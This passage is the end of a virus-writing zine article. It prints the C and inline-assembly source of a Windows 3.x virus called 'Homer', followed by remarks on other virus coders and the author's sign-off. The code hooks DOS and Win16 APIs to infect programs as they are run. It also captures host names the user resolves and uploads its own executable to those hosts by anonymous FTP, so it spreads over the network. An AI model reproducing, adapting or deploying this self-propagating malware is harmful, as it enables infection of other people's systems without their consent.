mov word ptr [1],dx /* place off cb */ mov word ptr [3],cx /* place seg cb */ mov byte ptr [5],ah /* jmp far */ mov ax,word ptr ss:iv mov word ptr [6], ax /* place off oldint */ mov ax,word ptr ss:(iv+2) mov word ptr [8], ax /* place seg oldint */ pop ds pop es mov ax,0201h /* finally hook the handler via apropiate DMPI call */ mov cx,cb_seg mov dx,0 mov bl,21h int 31h } rm_sel=cb_sel; /* save selector corresponding to 60:0 */ return iv; error: return (INTRFUNC) 0; } void unhook_real_vect(int intno, INTRFUNC iv) { _asm { mov ax, 0201h /* restore old interrupt handler */ mov bl, byte ptr intno mov cx, word ptr iv+2 mov dx, word ptr iv int 31h mov ax,2h /* get selector */ mov bx,60h int 31h push ss pop ds mov es,ax mov cx,05h /* restore old content in memory */ xor di,di mov si,offset old_stuff rep movsw } } #endif #ifdef HOOKSWIN16API #ifdef HASWINDOW /* for statiscal use only */ int nOpenFile=0, nWinExec=0; char sOpenFile[MAX_PATH]="\0"; #endif char sWinExec[MAX_PATH]="\0"; /* interrupt to use */ BYTE i1,i2; /* 1 if that hooker is active, 0 otherwise */ int activeOpenFile=1, activeWinExec=1; /* here are information needed to restore the code of the old API when the hooker ended his job */ WIN16HOOK saveWinExec, saveOpenFile; void _interrupt _far IntWinExec(REG_PARAMS r) { WORD save_sp; asm mov save_sp,sp; _DS=save_ds; activeWinExec=0; * ( (WORD *) saveWinExec.wh ) = saveWinExec.oldb; /* restore windows api bits */ /* Black magic to adjust the old CS:IP note that this only works cause we are serving int's inside 16 bit ring 3 segments of the same task (that mean we went only through 1 interrupt gate) ! this is also VERY compiler dependent! */ _asm { push bp /* here we adjust CS and IP saved on the stack, so*/ mov bp,save_sp /* after the interrupt handler routine terminates */ sub bp,10-01eh /* the opcode we just corrected in place of our int */ mov ax,[bp] /* gets control */ sub ax,2 mov [bp],ax mov save_sp,bp pop bp } #ifdef HASWINDOW nWinExec++; #endif _asm { /* now it gets the name in sWinExec*/ push bp mov bp,[save_sp] add bp,20h mov ax,[bp] mov word ptr hptr,ax inc bp inc bp mov ax,[bp] mov word ptr (hptr+2),ax pop bp } #ifdef HASWINDOW strncpy(sWinExec,hptr,MAX_PATH); #endif infect(sWinExec); } void _interrupt _far IntOpenFile(REG_PARAMS r) { WORD save_sp; /* see routine IntWinExec for explanation */ asm mov save_sp,sp; _DS=save_ds; activeOpenFile=0; * ( (WORD *) saveOpenFile.wh ) = saveOpenFile.oldb; _asm { push bp mov bp,save_sp sub bp,10-01eh mov ax,[bp] sub ax,2 mov [bp],ax mov save_sp,bp pop bp } #ifdef HASWINDOW nOpenFile++; _asm { /* for now it just gets the name in sOpenFile */ push bp /* plese feel free to add any useful payload, but */ mov bp,[save_sp] /* remember: doing harm to innocent people is just */ add bp,24h /* a sign of lamerness and stupidity */ mov ax,[bp] mov word ptr hptr,ax inc bp inc bp mov ax,[bp] mov word ptr (hptr+2),ax pop bp } strncpy(sOpenFile,hptr,MAX_PATH); #endif } #endif int hookwin16api(FARPROC apif, WIN16HOOK * s) { WORD dummy; /* this function saves information about bits of code at the brginning of the api handler in the apropiate DLL into the structure s and makes an alias descriptor for the cs of that function */ s->wh=MK_FP(0,0); s->oldb = * ( (WORD *) apif ); _asm { mov ax,0ah /* create alias descriptor */ mov bx, word ptr apif+2 int 31h jc error mov dummy, ax } s->wh=MK_FP(dummy,FP_OFF(apif)); error: } int activewin16api(WIN16HOOK * s, BYTE cbint) { /* place an int cbint in the flash of a windows api */ * ( (WORD *) s->wh ) = 0x00cd + cbint*256; } int restorewin16api(WIN16HOOK * s) { /* restores the original bits of thw window api */ * ( (WORD *) s->wh ) = s->oldb; } #ifdef NETHOOK BYTE i3,i4; /* statistics, activation marker and hook information for both blocking and non-blocking gethostbyname WINSOCK api call */ int nGetHostByName=0, nWSAGetHostByName=0; int activeGetHostByName=1, activeWSAGetHostByName=1; WIN16HOOK saveGetHostByName, saveWSAGetHostByName; #define MAX_HOSTNAME 1024 /* slot where to keep information about resolved names */ int slotstatus=0; char hostname[MAX_HOSTNAME]="\0"; int ftpstatus=0; /* status of ftp connection 0 ready 1 getting name 2 name got, connecting 3 connected, sending preamble 4 sent information, waitinf for server callback 5 server connected us, send homer 999 all went bad :-( */ void _interrupt _far IntGetHostByName(REG_PARAMS r) { WORD save_sp; /* see routine IntWinExec for explanation */ asm mov save_sp,sp; _DS=save_ds; activeGetHostByName=0; * ( (WORD *) saveGetHostByName.wh ) = saveGetHostByName.oldb; _asm { push bp mov bp,save_sp sub bp,10-01eh mov ax,[bp] sub ax,2 mov [bp],ax mov save_sp,bp pop bp } #ifdef HASWINDOW nGetHostByName++; #endif _asm { /* get host-name the application tried to resolve */ push bp mov bp,[save_sp] add bp,1eh mov ax,[bp] mov word ptr hptr,ax inc bp inc bp mov ax,[bp] mov word ptr (hptr+2),ax pop bp } strncpy(hostname,hptr,MAX_PATH); /* memorize hostname */ if (!ftpstatus) slotstatus=1; /* and singal it if not busy */ } void _interrupt _far IntWSAGetHostByName(REG_PARAMS r) { WORD save_sp; /* see routine IntWinExec and INTGetHostByName for explanation */ asm mov save_sp,sp; _DS=save_ds; activeWSAGetHostByName=0; * ( (WORD *) saveWSAGetHostByName.wh ) = saveWSAGetHostByName.oldb; _asm { push bp mov bp,save_sp sub bp,10-01eh mov ax,[bp] sub ax,2 mov [bp],ax mov save_sp,bp pop bp } #ifdef HASWINDOW nWSAGetHostByName++; #endif _asm { push bp mov bp,[save_sp] add bp,24h mov ax,[bp] mov word ptr hptr,ax inc bp inc bp mov ax,[bp] mov word ptr (hptr+2),ax pop bp } strncpy(hostname,hptr,MAX_PATH); if (!ftpstatus) slotstatus=1; } #endif #ifdef NETHOOK #define WSA_SOCKET WM_USER+1 /* message number for ftp control connection socket */ #define WSA_DNS WM_USER+2 /* message number for DNS resolution */ #define WSA_SOCKET_SERVER WM_USER+3 /* message number for ftp data connection */ char msg_buffer[1024]; /* receive buffer */ char server_name[128]; char service_name[]="ftp"; /* service to use */ char prologo[]="USER ftp\nPASS bill@microsoft.com\nCWD incoming\n"; /* ftp commands */ char msg_text[1024]; /* socket and address information for both ftp connection to the host where we are uploading homer */ SOCKET client_socket, server_socket, new_socket; struct sockaddr_in server_sck_addr, my_info,my_client_info, client_sck_addr; struct sockaddr other_side; int other_side_len,my_info_len,my_client_info_len; LPSERVENT service_info; LPHOSTENT host_info; long progress; /* how many bytes we have send */ struct linger mylinger={1,600}; char far tmp_hostname[MAX_HOSTNAME]; /* buffers used during name resolution */ char far resolver_buf[4*MAXGETHOSTSTRUCT]; int conn_timeout; /* ftp connection timeout conunter */ int ath; #ifdef HASWINDOW int resolved=0; #endif #endif HWND hwnd ; HWND global_hwnd; /* our window handle */ int PASCAL WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmd, int nCmdShow) { #ifdef HASCLASS static char szAppName[] = "Homer" ; WNDCLASS wndclass ; #endif MSG msg; HFILE hfile; TIMERPROC lpfnMyTimerProc; #ifdef NETHOOK FARPROC tfun; HMODULE tmod; int err; WORD wVersionRequired; WSADATA WsaData; #endif /* This is the residency check */ _asm{ mov ax,02h mov bx,060h int 31h mov mem_60_sel,ax push ds mov ds,ax cmp word ptr ds:[10],'PK' /* check for KP at 60:10 */ pop ds jne not_resident } return 0; not_resident: save_ds=_DS; GetModuleFileName(hInstance, myname, MAX_PATH); /* name from which we have been booted */ if (!hPrevInstance) { #ifdef HASCLASS wndclass.style = CS_HREDRAW | CS_VREDRAW ; wndclass.lpfnWndProc = (WNDPROC)WndProc ; wndclass.cbClsExtra = 0 ; wndclass.cbWndExtra = 0 ; wndclass.hInstance = hInstance ; wndclass.hIcon = LoadIcon( NULL, IDI_APPLICATION ); wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ; wndclass.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wndclass.lpszMenuName = 0; wndclass.lpszClassName = szAppName ; RegisterClass (&wndclass) ; #endif } else { return 2; } /* Here we assume we have to go resident .... residence check must be done before! */ /* We copy ourself in memory */ hfile= _lopen(myname, READ); mysize= _llseek(hfile,0,2); hmem=GlobalAlloc(GMEM_MOVEABLE, mysize); mybuffer=GlobalLock(hmem); _llseek(hfile,0,0); _lread(hfile,mybuffer,mysize); _lclose(hfile); /* Put our residency check in memory */ _asm{ push ds mov ax,mem_60_sel mov ds,ax mov ax,'PK' xchg word ptr ds:[10],ax pop ds mov rez_check,ax } #ifdef HOOKSDPMIPROTINT old = get_vect(intno); if (! set_vect(intno, (INTRFUNC) IntHandler)) return 1; #endif #ifdef HOOKSKDP if ((intno == 0x21) && (GetSetKernelDosProc = GetProcAddress( GetModuleHandle("KERNEL"), "GETSETKERNELDOSPROC"))) old_dos = GetSetKernelDosProc((FARPROC) IntHandler2); #endif #ifdef HOOKSDPMIREALINT old_real=hook_real_vect(0x21, (INTRFUNC) IntHandler3); #endif #ifdef HOOKSWIN16API i1=0xba; i2=0xbb; /* CHANGE TO A FREE INT! */ if (i1) { set_vect(i1, (INTRFUNC) IntOpenFile); hookwin16api( GetProcAddress( GetModuleHandle("KERNEL"), "OpenFile" ), &saveOpenFile); activeOpenFile=0; } if (i2) { set_vect(i2, (INTRFUNC) IntWinExec); hookwin16api( GetProcAddress( GetModuleHandle("KERNEL"), "WinExec" ), &saveWinExec); activeWinExec=0; } #endif #ifdef HASCLASS hwnd = CreateWindow (szAppName, "Homer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL) ; /* a timer is needed for many tasks */ lpfnMyTimerProc = (TIMERPROC) MakeProcInstance((FARPROC) TimerProc, hInstance); th=SetTimer(NULL, 1, 1000, lpfnMyTimerProc); global_hwnd=hwnd; #ifdef HASWINDOW ShowWindow (hwnd, nCmdShow) ; UpdateWindow (hwnd) ; #endif HASWINDOW #endif #ifdef NETHOOK i3=0xbc; i4=0xbd; wVersionRequired = MAKEWORD( 1, 1 ); /* activate WINSOCK */ err = WSAStartup( wVersionRequired, &WsaData ); if ( ( err == SOCKET_ERROR ) || (LOBYTE( wVersionRequired ) < 1) || ( LOBYTE( wVersionRequired ) == 1 && (HIBYTE( wVersionRequired ) < 1) ) ) { WSACleanup(); ftpstatus=999; } else { /* hooks the resolver funciotns in winsock.dll */ tmod=GetModuleHandle("WINSOCK"); if ( (i3) && (tfun=GetProcAddress( tmod, "gethostbyname" ) ) ) { set_vect(i3, (INTRFUNC) IntGetHostByName); hookwin16api( tfun, &saveGetHostByName); activeGetHostByName=0; } if ( (i4) && (tfun=GetProcAddress( tmod, "WSAAsyncGetHostByName" ) ) ) { set_vect(i4, (INTRFUNC) IntWSAGetHostByName); hookwin16api( tfun, &saveWSAGetHostByName); activeWSAGetHostByName=0; } } #endif while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg) ; DispatchMessage (&msg) ; } CleanUp(); return msg.wParam ; } void CleanUp(void) { #ifdef HOOKSDPMIPROTINT if (old) { set_vect(intno, (INTRFUNC) old ); old=MK_FP(0,0); } #endif #ifdef HOOKSKDP if ((intno == 0x21) && old_dos) { GetSetKernelDosProc(old_dos); old_dos=MK_FP(0,0); } #endif #ifdef HOOKSDPMIREALINT if (old_real) { unhook_real_vect(intno, (INTRFUNC) old_real); old_real=MK_FP(0,0); } #endif #ifdef HOOKSWIN16API if (saveOpenFile.wh) { restorewin16api(&saveOpenFile); saveOpenFile.wh=MK_FP(0,0); } if (saveWinExec.wh) { restorewin16api(&saveWinExec); saveWinExec.wh=MK_FP(0,0); } #endif #ifdef NETHOOK if (saveGetHostByName.wh) { restorewin16api(&saveGetHostByName); saveGetHostByName.wh=MK_FP(0,0); } if (saveWSAGetHostByName.wh) { restorewin16api(&saveWSAGetHostByName); saveWSAGetHostByName.wh=MK_FP(0,0); } WSACleanup(); #endif /* remove our residency check and restore original value */ _asm{ push ds mov ax,mem_60_sel mov ds,ax mov ax,rez_check xchg word ptr ds:[10],ax pop ds } KillTimer(NULL,th); #ifdef NETHOOK WSACleanup(); #endif GlobalUnlock(hmem); GlobalFree(hmem); } #ifdef HASCLASS LRESULT FAR PASCAL _export WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { char buf[100]; int result,sent; #ifdef HASWINDOW static short XC,YC,CC; PAINTSTRUCT PtStr; TEXTMETRIC tm; HDC hDC; #endif switch (message) { #ifdef HASWINDOW case WM_CREATE: hDC=GetDC(hwnd); GetTextMetrics(hDC,&tm); XC=tm.tmAveCharWidth; YC=tm.tmHeight+tm.tmExternalLeading; CC=(tm.tmPitchAndFamily & 1 ?3 : 2) * XC /2; ReleaseDC(hwnd,hDC); return 0; case WM_PAINT: InvalidateRect(hwnd,NULL,TRUE); hDC=BeginPaint(hwnd,&PtStr); sprintf(buf,"Homer-%ld is here!, LeftClick To Refresh.",mysize); TextOut(hDC,XC,YC,buf,lstrlen(buf)); sprintf(buf,"Exec triggered %d times.",triggered); TextOut(hDC,XC,2*YC,buf,lstrlen(buf)); sprintf(buf,"Last run: %s",lastrun); TextOut(hDC,XC,3*YC,buf,lstrlen(buf)); #ifdef HOOKSWIN16API sprintf(buf,"API16 grabber: OpenFile(%d), WinExec(%d).", nOpenFile,nWinExec); TextOut(hDC,XC,4*YC,buf,lstrlen(buf)); sprintf(buf,"Last OpenFile: %s", sOpenFile); TextOut(hDC,XC,5*YC,buf,lstrlen(buf)); sprintf(buf,"Last WinExec: %s",sWinExec); TextOut(hDC,XC,6*YC,buf,lstrlen(buf)); #endif #ifdef NETHOOK sprintf(buf,"gethostbyname: blocking(%d), WSA(%d).", nGetHostByName, nWSAGetHostByName); TextOut(hDC,XC,7*YC,buf,lstrlen(buf)); sprintf(buf,"Last asked hostname: %s", hostname); TextOut(hDC,XC,8*YC,buf,lstrlen(buf)); sprintf(buf,"ftpstatus: %d; resolved: %d",ftpstatus,resolved); TextOut(hDC,XC,9*YC,buf,lstrlen(buf)); sprintf(buf,"timeout counter: %d.", conn_timeout); TextOut(hDC,XC,10*YC,buf,lstrlen(buf)); #endif NETHOOK EndPaint(hwnd,&PtStr); return 0; case WM_LBUTTONDOWN: InvalidateRect(hwnd,NULL,TRUE); return 0; #endif #ifdef NETHOOK case WSA_SOCKET: switch (WSAGETSELECTEVENT(lParam)) { case FD_CONNECT: /* connection to the ftp port */ if (WSAGETASYNCERROR(lParam)) { ftpstatus=0; closesocket(client_socket); } else { ftpstatus=3; /* send ftp commands */ send(client_socket,prologo,sizeof(prologo),0); recv(client_socket,msg_text,1024,0); } break; case FD_READ: recv(client_socket,msg_text,1024,0); /* just discard what other host says */ break; case FD_WRITE: if (ftpstatus==3) /* sent prolog, now open socket send port, send put and go in ftpstatus 4 */ { /* creates the ftp data port connection */ server_socket=socket(PF_INET,SOCK_STREAM,0); setsockopt(server_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger)); if (server_socket==INVALID_SOCKET) { ftpstatus=0; closesocket(client_socket); } server_sck_addr.sin_family=AF_INET; server_sck_addr.sin_addr.s_addr=INADDR_ANY; server_sck_addr.sin_port=0; if (bind(server_socket,(LPSOCKADDR)&server_sck_addr,sizeof(server_sck_addr))==SOCKET_ERROR) { ftpstatus=0; closesocket(server_socket); closesocket(client_socket); } WSAAsyncSelect(server_socket,global_hwnd,WSA_SOCKET_SERVER, FD_READ | FD_WRITE | FD_CONNECT | FD_CLOSE | FD_OOB | FD_ACCEPT); /* wait for remote site to call us back */ result=listen(server_socket,5); other_side_len=sizeof(other_side); new_socket=accept(server_socket,&other_side,&other_side_len); /* send to the host on the other side the PORt command with information about our host ip and port where we are listening. Finally issue to command to upload homer*/ my_client_info_len=sizeof(my_client_info); getsockname(client_socket,(struct sockaddr *) &my_client_info,&my_client_info_len); my_info_len=sizeof(my_info); getsockname(server_socket,(struct sockaddr *) &my_info,&my_info_len); sprintf(buf,"\nTYPE I\nPORT %d,%d,%d,%d,%d,%d\nSTOR HOMER.EXE\n", my_client_info.sin_addr.S_un.S_un_b.s_b1, my_client_info.sin_addr.S_un.S_un_b.s_b2, my_client_info.sin_addr.S_un.S_un_b.s_b3, my_client_info.sin_addr.S_un.S_un_b.s_b4, my_info.sin_port % 256, my_info.sin_port >> 8 ); send(client_socket,buf,sizeof(buf),0); ftpstatus=4; } break; } return 0; case WSA_SOCKET_SERVER: switch (WSAGETSELECTEVENT(lParam)) { case FD_ACCEPT: /* the host on the other side called us for*/ progress=0; /* a copy of Homer :-) */ other_side_len=sizeof(other_side); new_socket=accept(server_socket,&other_side,&other_side_len); setsockopt(new_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger)); ftpstatus=5; recv(new_socket,msg_text,1024,0); break; case FD_WRITE: break; case FD_READ: recv(new_socket,msg_text,1024,0); /* keep input buffer free */ break; } return 0; case WSA_DNS: if (WSAGETASYNCERROR(lParam)) { ftpstatus=0; /* name resolution failed ! */ closesocket(client_socket); } else { ftpstatus=2; /* name resolution ok, create ftp control connection */ server_sck_addr.sin_family=AF_INET; host_info=(LPHOSTENT *) &resolver_buf; memcpy(&(server_sck_addr.sin_addr), host_info->h_addr,host_info->h_length); service_info=getservbyname("ftp","tcp"); server_sck_addr.sin_port=service_info->s_port; connect(client_socket,(LPSOCKADDR)&server_sck_addr,sizeof(server_sck_addr)); #ifdef HASWINDOW resolved ++; #endif } return 0; #endif case WM_ENDSESSION: CleanUp(); return 0; case WM_DESTROY: PostQuitMessage(0); return 0; default: return DefWindowProc (hwnd, message, wParam, lParam) ; } } #endif WORD FAR PASCAL _export TimerProc( HWND tphwnd, WORD wMsg, int TimerID, DWORD dwTime) { #ifdef HOOKSWIN16API /* reactivate api hookers if needed */ if (!activeOpenFile && saveOpenFile.wh) { activewin16api(&saveOpenFile,i1); activeOpenFile=1; } if (!activeWinExec && saveWinExec.wh) { activewin16api(&saveWinExec,i2); activeWinExec=1; } #endif #ifdef NETHOOK if ( (ftpstatus!=0) && (ftpstatus!=999) ) /* here we adjust timeout counter for ftp connection */ { conn_timeout++; if (conn_timeout>1800) /* 30 minutes */ { ftpstatus=0; closesocket(new_socket); closesocket(client_socket); closesocket(server_socket); } } if (ftpstatus==5) /* if ftp status is 5 we send homer via ftp in 1K block, one per second or less if the connection is too slow */ { int sent; if (progress>=mysize) { ftpstatus=0; closesocket(new_socket); closesocket(client_socket); closesocket(server_socket); } else { sent=send(new_socket,mybuffer+progress,min(1024,mysize-progress),0); if (sent!=-1) progress+=sent; } } if (slotstatus && !ftpstatus) { /* start transer of homer via ftp to the other side */ /* create socket at our side */ ftpstatus=1; conn_timeout=0; slotstatus=0; client_socket=socket(PF_INET,SOCK_STREAM,0); if (client_socket==INVALID_SOCKET) { ftpstatus=0; } setsockopt(client_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger)); client_sck_addr.sin_family=AF_INET; client_sck_addr.sin_addr.s_addr=INADDR_ANY; client_sck_addr.sin_port=0; if (bind(client_socket,(LPSOCKADDR)&client_sck_addr,sizeof(client_sck_addr))==SOCKET_ERROR) { ftpstatus=0; } service_info=getservbyname(service_name,"tcp"); WSAAsyncSelect(client_socket,hwnd,WSA_SOCKET, FD_READ | FD_WRITE | FD_CONNECT | FD_CLOSE | FD_OOB ); strncpy(tmp_hostname,hostname,MAX_HOSTNAME); /* start name resolution */ ath=WSAAsyncGetHostByName(hwnd,WSA_DNS,tmp_hostname,resolver_buf,MAXGETHOSTSTRUCT); } /* reactivate resolver hook */ if (!activeGetHostByName && saveGetHostByName.wh) { activewin16api(&saveGetHostByName,i3); activeGetHostByName=1; } if (!activeWSAGetHostByName && saveWSAGetHostByName.wh) { activewin16api(&saveWSAGetHostByName,i4); activeWSAGetHostByName=1; } #endif } [The End] Griyo is another pioneering win32 virus coder, his latest virus (Parvo) use it's own SMTP protocols to spread over email. To get the email adresses it serches in news groups for the senders email adress. It will probably be in 29a#4. Ok thats about it.... I tried to find the redteam email virus written By Soul Manager But I couldn't find it... If you have any comments about this article or questions please give me a mail ~septic~@antisocial.com Septic [TI]